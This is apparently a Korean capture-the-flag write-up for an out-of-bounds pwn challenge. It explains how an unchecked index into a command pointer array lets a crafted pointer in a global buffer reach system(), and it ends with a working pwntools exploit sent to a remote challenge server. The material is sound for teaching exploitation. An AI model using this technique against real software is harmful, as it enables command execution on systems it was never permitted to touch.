# oob

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4[2]; // [esp+0h] [ebp-8h] BYREF

  v4[1] = __readgsdword(0x14u);
  initialize();
  printf("Admin name: ");
  read(0, &name, 0x10u);
  printf("What do you want?: ");
  __isoc99_scanf("%d", v4);
  system((&command)[v4[0]]);
  return 0;
}
```

디컴파일된 코드는 위와 같다.
전역변수 `name`에 0x10만큼 값을 쓰는 것이 가능하다.
또한 사용자의 입력값을 검증하지 않고 배열의 인덱스로 사용하므로 OOB를 활용한 공격이 가능하다.

```
.data:0804A060 command         dd offset cat
.data:0804A064                 dd offset ls
.data:0804A068                 dd offset id
.data:0804A06C                 dd offset ps
.data:0804A070                 dd offset aFileOob3
```

int형 배열인 `v4`에 인덱스를 입력하여 `command` 배열에 들어있는 명령어 중 하나를 `system`의 인자로 주어 실행할 수 있다.
이 때 `command` 배열에는 flag 파일을 읽을 수 있는 명령어가 존재하지 않는다.

```
read(0, &name, 0x10u);
   0x080486dc <+35>:    push   0x10
   0x080486de <+37>:    push   0x804a0ac
   0x080486e3 <+42>:    push   0x0
   0x080486e5 <+44>:    call   0x80484a0 <read@plt>

system((&command)[v4[0]]);
   0x0804870b <+82>:    mov    eax,DWORD PTR [ebp-0x8]
   0x0804870e <+85>:    mov    eax,DWORD PTR [eax*4+0x804a060]
   0x08048715 <+92>:    push   eax
   0x08048716 <+93>:    call   0x8048500 <system@plt>
```

gdb로 디버깅해보면 `name`의 주소가 0x804a0ac, `command`의 주소가 0x804a060라는 것을 알 수 있다.

```
>>> (0x804a0ac - 0x804a060) // 4
19
```

OOB 활용을 위해 `command`와 `name`의 주소 차이를 계산. 이 때 `command`는 포인터 배열이므로 인덱스에 자동으로 * 4가 적용된다.
따라서 // 4를 한 값이 두 변수의 실제 주소 차이다.

```
#include <stdlib.h>
int system(const char *command);
```

주의할 점은 `system()`의 인자가 문자열 포인터여야 한다는 것이다.

# Exploit

```
from pwn import *

conn = remote("realsung.kr", 5788)

print(conn.recv())
```

```
payload = p32(0x804a0ac+4)
payload += b"cat flag"
print(payload)
conn.sendline(payload)
print(conn.recv())

conn.sendline(b"19")
print(conn.recvall().decode())
```